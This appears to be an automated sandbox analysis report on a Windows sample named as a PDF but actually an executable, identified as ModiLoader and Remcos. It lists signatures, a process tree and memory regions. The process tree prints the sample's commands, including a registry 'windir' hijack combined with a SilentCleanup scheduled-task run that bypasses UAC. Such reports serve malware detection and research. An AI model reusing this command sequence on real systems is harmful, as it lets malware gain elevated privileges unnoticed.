Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/10/2020, 17:21

General

  • Target
    OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe
  • Size 1.0MB
  • Sample201014-h38fh5xhes
  • SHA256 e7def582e6c764fb35cad598da8b83da969897d37241402df8c8bac2b870432f
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader First Stage 1 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 510 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe"
    1⤵
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Windows\SysWOW64\Notepad.exe
      "C:\Windows\System32\Notepad.exe"
      2⤵
        PID:2700
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
          3⤵
            PID:3900
            • C:\Windows\SysWOW64\reg.exe
              reg delete hkcu\Environment /v windir /f
              4⤵
              • Modifies registry key
              PID:2600
            • C:\Windows\SysWOW64\reg.exe
              reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
              4⤵
              • Modifies registry key
              PID:2060
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              4⤵
                PID:1512
              • C:\Windows\SysWOW64\reg.exe
                reg delete hkcu\Environment /v windir /f
                4⤵
                • Modifies registry key
                PID:3864
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
              3⤵
                PID:2656
            • C:\Program Files (x86)\internet explorer\ieinstal.exe
              "C:\Program Files (x86)\internet explorer\ieinstal.exe"
              2⤵
                PID:3968

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/2700-2-0x0000000002740000-0x0000000002741000-memory.dmp

                  memory/2700-243-0x00000000062E0000-0x00000000062E1000-memory.dmp

                  memory/2700-4-0x0000000002A00000-0x0000000002A01000-memory.dmp

                  memory/3832-252-0x0000000010540000-0x0000000010565000-memory.dmp

                  memory/3832-0-0x0000000002B20000-0x0000000002B5A000-memory.dmp

                  memory/3832-1-0x0000000004C40000-0x0000000004C96000-memory.dmp

                  memory/3832-242-0x0000000050480000-0x000000005049A000-memory.dmp

                  memory/3968-253-0x0000000000C50000-0x0000000000C51000-memory.dmp

                  memory/3968-246-0x00000000009D0000-0x00000000009D1000-memory.dmp

                  memory/3968-248-0x0000000000C90000-0x0000000000C91000-memory.dmp